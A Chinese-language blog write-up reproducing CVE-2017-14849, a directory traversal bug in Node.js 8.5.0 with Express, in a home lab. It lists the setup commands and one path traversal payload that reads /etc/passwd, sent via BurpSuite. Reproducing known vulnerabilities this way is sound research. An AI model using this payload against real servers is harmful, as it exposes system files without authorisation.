漏洞简介

CVE-2017-14849是Node.js和Express共同导致的一个目录穿越漏洞,可以通过此漏洞读取任意文件。

受该漏洞影响的版本

Node.js 8.5.0 + Express 3.19.0-3.21.2
Node.js 8.5.0 + Express 4.11.0-4.15.5

复现过程

环境搭建

靶机:Manjaro Xfce 19.05.21,ip:192.168.5.134

攻击机:Windows10 1809

安装Node.js 8.5.0

在Linux中直接通过命令行安装即可。

1
2
3
4
5
wget https://nodejs.org/download/release/v8.5.0/node-v8.5.0-linux-x64.tar.gz
tar -zxvf node-v8.5.0-linux-x64.tar.gz
sudo mv node-v8.5.0-linux-x64 /opt/
sudo ln -s ./bin/npm /usr/bin/npm
sudo ln -s ./bin/node /usr/bin/node

使用node命令测试,如果进入Node.js交互环境即为安装成功。

安装Express 4.15.5

同样通过命令行安装

1
2
3
wget https://github.com/expressjs/express/archive/4.15.5.tar.gz
tar -zxvf 4.15.5.tar.gz
cd express-4.15.5 && npm install

开启express:

1
2
3
cd examples
cd static-files
node index.js

输出提示信息即为开启成功。

漏洞复现

访问192.168.5.134:3000,可以成功访问:

payload: /../../../foo/../../../../etc/passwd

使用BurpSuite发送Payload,可以看到成功返回了/etc/password的内容:

漏洞原理

这个漏洞复现起来很容易,但是原理并不简单,到现在我也没搞得很明白,只知道是Node和Express部分不兼容导致的,具体参考以下这篇文章吧:

https://security.tencent.com/index.php/blog/msg/121

最后更新: 2019年06月24日 17:45

原始链接: qnkcdz0.xyz/2019/06/24/Node-js任意文件读取漏洞(CVE-2017-14849)复现/